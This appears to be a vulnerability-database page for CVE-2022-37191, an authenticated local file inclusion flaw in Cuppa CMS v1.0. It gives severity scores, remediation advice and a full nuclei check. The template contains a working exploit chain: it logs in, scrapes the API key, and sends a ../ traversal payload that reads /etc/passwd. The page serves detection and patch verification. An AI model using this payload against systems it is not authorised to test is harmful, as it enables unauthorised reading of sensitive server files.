Browse / CVEs / CVE-2022-37191
CVE-2022-37191· cuppacms / cuppacms· CWE-829
Cuppa CMS v1.0 - Authenticated Local File Inclusion
mediumseverity
6.5CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it
The component "cuppa/api/index.php" of CuppaCMS v1.0 is Vulnerable to LFI. An authenticated user can read system files via crafted POST request using [function] parameter value as LFI payload.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
Fix
Apply the latest security patches or updates provided by the vendor to fix the authenticated local file inclusion vulnerability in Cuppa CMS v1.0.
How to confirm it
Send: POST / ; POST /components/table_manager/ ; POST /api/index.php
Positive when: contains in header_3 "text/html" AND matches in body_3 /root:[x*]:0:0/ AND status 200Run it with nuclei: nuclei -id CVE-2022-37191 -u <target>
The full check
id: CVE-2022-37191
info:
name: Cuppa CMS v1.0 - Authenticated Local File Inclusion
author: theamanrawat
severity: medium
description: |
The component "cuppa/api/index.php" of CuppaCMS v1.0 is Vulnerable to LFI. An authenticated user can read system files via crafted POST request using [function] parameter value as LFI payload.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the authenticated local file inclusion vulnerability in Cuppa CMS v1.0.
reference:
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-37191
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2022-37191
cwe-id: CWE-829
epss-score: 0.03317
epss-percentile: 0.8868
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: cuppacms
product: cuppacms
tags: cve,cve2022,lfi,cuppa,authenticated,cuppacms,vuln
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&password={{password}}&language=en&task=login
- |
POST /components/table_manager/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
path=component%2Ftable_manager%2Fview%2Fcu_api_keys
- |
POST /api/index.php HTTP/1.1
Host: {{Hostname}}
key: {{apikey}}
Content-Type: application/x-www-form-urlencoded
function=./../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd/
matchers-condition: and
matchers:
- type: word
part: header_3
words:
- "text/html"
- type: regex
part: body_3
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
extractors:
- type: regex
name: apikey
group: 1
regex:
- "<td class='td_key'>(.*?)</td>"
internal: trueReferences
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-37191
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from